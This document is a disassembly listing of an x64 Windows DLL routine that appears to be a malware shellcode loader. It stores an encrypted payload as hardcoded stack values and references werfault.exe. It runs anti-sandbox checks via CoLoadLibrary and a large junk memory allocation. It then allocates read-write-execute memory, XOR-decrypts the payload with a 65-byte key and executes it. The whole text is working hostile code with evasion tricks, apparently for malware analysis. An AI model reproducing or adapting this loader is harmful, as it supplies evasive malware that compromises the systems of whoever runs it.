mov dword [rbp + 0x8d8], 0x676e6f2b
mov dword [rbp + 0x8dc], 0xd322ea0d
mov dword [rbp + 0x8e0], 0x763474d4
mov dword [rbp + 0x8e4], 0x6a77c243
mov dword [rbp + 0x8e8], 0x6415866
mov dword [rbp + 0x8ec], 0xd965396b
mov dword [rbp + 0x8f0], 0xff706bab
mov dword [rbp + 0x8f4], 0x35367dda
mov dword [rbp + 0x8f8], 0x832aee3c
mov dword [rbp + 0x8fc], 0x62ace82b
mov dword [rbp + 0x900], 0xe0395525
mov dword [rbp + 0x904], 0x4d48847d
mov dword [rbp + 0x908], 0x6e3f94fa
mov dword [rbp + 0x90c], 0x370a8b47
mov dword [rbp + 0x910], 0x6cb46533
mov dword [rbp + 0x914], 0x1c41bfdc
mov dword [rbp + 0x918], 0xa860db6b
mov dword [rbp + 0x91c], 0x99d5b753
mov dword [rbp + 0x920], 0x25c1da16
mov dword [rbp + 0x924], 0x34354377
mov dword [rbp + 0x928], 0x976ba659
mov dword [rbp + 0x92c], 0x95b1e43a
mov dword [rbp + 0x930], 0x705a169c
mov dword [rbp + 0x934], 0x37b1e04f
mov dword [rbp + 0x938], 0x40113c35
mov dword [rbp + 0x93c], 0x21b5e0e0
mov dword [rbp + 0x940], 0xb21d247a
mov dword [rbp + 0x944], 0xeb70331f
mov dword [rbp + 0x948], 0xaa587441
mov dword [rbp + 0x94c], 0x5e8c31f
mov dword [rbp + 0x950], 0x9099bdba
mov dword [rbp + 0x954], 0x610fd26c
mov dword [rbp + 0x958], 0x272ddb10
mov dword [rbp + 0x95c], 0xc33da8af
mov dword [rbp + 0x960], 0xecdcd12a
mov dword [rbp + 0x964], 0x78437635
mov dword [rbp + 0x968], 0x7712a3f4
mov dword [rbp + 0x96c], 0x78c3f5ce
mov dword [rbp + 0x970], 0xa2c6636a
mov dword [rbp + 0x974], 0xadd45340
mov dword [rbp + 0x978], 0x2dffbe7b
mov dword [rbp + 0x97c], 0xcfcdc0dc
mov dword [rbp + 0x980], 0xff8ed08b
mov dword [rbp + 0x984], 0x89dc2393
mov dword [rbp + 0x988], 0x6b91c18b
mov dword [rbp + 0x98c], 0xfd005e6a
mov dword [rbp + 0x990], 0x653e32a7
mov dword [rbp + 0x994], 0xad74658b
mov dword [rbp + 0x998], 0xa081a728
mov dword [rbp + 0x99c], 0xc3250228
mov dword [rbp + 0x9a0], 0x1cd12fee
mov dword [rbp + 0x9a4], 0x80757d6c
mov dword [rbp + 0x9a8], 0x99befa74
mov dword [rbp + 0x9ac], 0x3afb0c88
mov dword [rbp + 0x9b0], 0xba35950
mov dword [rbp + 0x9b4], 0x5ebef0e3
mov dword [rbp + 0x9b8], 0x63743765
mov dword [rbp + 0x9bc], 0x3a2a3a24
mov dword [rbp + 0x9c0], 0x7a257d24
mov dword [rbp + 0x9c4], 0xe7a8640e
mov dword [rbp + 0x9c8], 0x15128920
mov dword [rbp + 0x9cc], 0x3cd72263
mov dword [rbp + 0x9d0], 0x3e665d18
mov dword [rbp + 0x9d4], 0x3a34ace5
mov dword [rbp + 0x9d8], 0x755ce231
mov dword [rbp + 0x9dc], 0x682a6f4b
mov dword [rbp + 0x9e0], 0xd12edbc3
mov dword [rbp + 0x9e4], 0xfd797401
mov dword [rbp + 0x9e8], 0xe13c2509
mov dword [rbp + 0x9ec], 0xf7086827
mov dword [rbp + 0x9f0], 0xd7ee77a7
mov dword [rbp + 0x9f4], 0x37346243
mov dword [rbp + 0x9f8], 0x6d767550
mov dword [rbp + 0x9fc], 0x57240675
mov dword [rbp + 0xa00], 0xf16cb754
mov dword [rbp + 0xa04], 0x1436a62d
mov dword [rbp + 0xa08], 0xc5424c2f
mov dword [rbp + 0xa0c], 0x5ee26bad
mov dword [rbp + 0xa10], 0xeac83c48
mov dword [rbp + 0xa14], 0xaf08b202
mov dword [rbp + 0xa18], 0x99215d5b
mov dword [rbp + 0xa1c], 0x252b3bb8
mov dword [rbp + 0xa20], 0xe36f98df
mov dword [rbp + 0xa24], 0x7d4d2588
mov dword [rbp + 0xa28], 0x79110ffd
mov dword [rbp + 0xa2c], 0x4a82ed2f
mov dword [rbp + 0xa30], 0xa0b966cc
mov dword [rbp + 0xa34], 0x555bc36e
mov dword [rbp + 0xa38], 0xf5e65c0a
mov dword [rbp + 0xa3c], 0x2cb53fd5
mov dword [rbp + 0xa40], 0xa22ca694
mov dword [rbp + 0xa44], 0xde202591
mov dword [rbp + 0xa48], 0x187ca626
mov dword [rbp + 0xa4c], 0xe12af87d
mov dword [rbp + 0xa50], 0x4e756824
mov dword [rbp + 0xa54], 0xa5f37c9
mov dword [rbp + 0xa58], 0xe2f6293c
mov dword [rbp + 0xa5c], 0xb4181547
mov dword [rbp + 0xa60], 0x62906b63
mov dword [rbp + 0xa64], 0x635525eb
mov dword [rbp + 0xa68], 0xca0b758b
mov dword [rbp + 0xa6c], 0x93a72bb2
mov dword [rbp + 0xa70], 0xa0643648
mov dword [rbp + 0xa74], 0x62bc18ea
mov dword [rbp + 0xa78], 0xe81e9b41
mov dword [rbp + 0xa7c], 0xa3072633
mov dword [rbp + 0xa80], 0xa4986610
lea rcx, str.werfault.exe
mov dword [rbp + 0xa84], 0x4d6e4160
mov dword [rbp + 0xa88], 0x33c2ba4b
mov dword [rbp + 0xa8c], 0x2aceb1ff
mov dword [rbp + 0xa90], 0x3f6c1ce1
mov dword [rbp + 0xa94], 0xa6757884
mov dword [rbp + 0xa98], 0x784b934f
mov dword [rbp + 0xa9c], 0x371ad328
mov dword [rbp + 0xaa0], 0xc3a02926
mov dword [rbp + 0xaa4], 0x5213f72e
mov dword [rbp + 0xaa8], 0x7074deac
mov dword [rbp + 0xaac], 0x3ae139f5
mov dword [rbp + 0xab0], 0xec3a657c
mov dword [rbp + 0xab4], 0xb4b4e0c
mov dword [rbp + 0xab8], 0x66f0e1
mov byte [rbp + 0xabc], 0xa6
call qword [sym.imp.ole32.dll_CoLoadLibrary]
xor ecx, ecx
test rax, rax
jne 0x180002f2e
lea rdx, str.nEgKEuYtS6Ym
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0xbf8], rbx
mov edx, 0xb9d
mov r9d, 0x40
mov r8d, 0x3000
mov qword [rsp + 0xc00], rdi
mov qword [rsp + 0xbd0], r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0x5f5e100
mov rbx, rax
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov rdi, rax
test rax, rax
je 0x180002f8c
xor edx, edx
mov r8d, 0x5f5e100
mov rcx, rax
call fcn.1800032b0
mov rcx, rdi
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
lea r9, [rsp + 0x20]
lea r10, [rsp + 0x21]
mov qword [0x18002c3a0], rax
mov qword [0x18002c3a8], rax
mov qword [0x18002c3b0], rax
mov qword [0x18002c3b8], rax
mov qword [0x18002c3c0], rax
lea r8, [0x180022310]
lea r11, [rsp + 0x22]
mov qword [0x18002c3c8], rax
movabs rax, 0x15266e9e4
mov qword [0x18002c3a0], rsi
sub r9, rbx
sub r10, rbx
xor esi, esi
mov qword [0x18002c3b8], rax
mov qword [0x18002c3a8], r8
mov qword [0x18002c3b0], 0x41
mov qword [0x18002c3c0], 7
mov rdi, rbx
sub r11, rbx
mov r12d, 0x3df
nop word [rax + rax]
mov eax, 0x7e07e07f
add rdi, 3
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, esi
imul edx, edx, 0x41
sub eax, edx
movsxd rcx, eax
movzx eax, byte [rcx + r8]
lea r8d, [rsi + 2]
xor al, byte [r9 + rdi - 3]
lea ecx, [r8 - 1]
mov byte [rdi - 3], al
mov eax, 0x7e07e07f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, esi
imul edx, edx, 0x41
sub eax, edx
inc eax
movsxd rcx, eax
mov rax, qword [0x18002c3a8]
movzx ecx, byte [rcx + rax]
mov eax, 0x7e07e07f
xor cl, byte [r10 + rdi - 3]
imul r8d
mov byte [rdi - 2], cl
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, esi
add esi, 3
imul edx, edx, 0x41
sub eax, edx
add eax, 2
movsxd rcx, eax
mov rax, qword [0x18002c3a8]
movzx ecx, byte [rcx + rax]
xor cl, byte [r11 + rdi - 3]
dec r12
mov byte [rdi - 1], cl
je 0x1800030ca
mov r8, qword [0x18002c3a8]
jmp 0x180003020
lea rcx, [0x18002c3a0]
call rbx
mov r12, qword [rsp + 0xbd0]
mov rdi, qword [rsp + 0xc00]
mov rbx, qword [rsp + 0xbf8]
mov eax, 1
mov rcx, qword [rbp + 0xac0]
xor rcx, rsp
call fcn.180003280
add rsp, 0xbd8
pop rsi
pop rbp
ret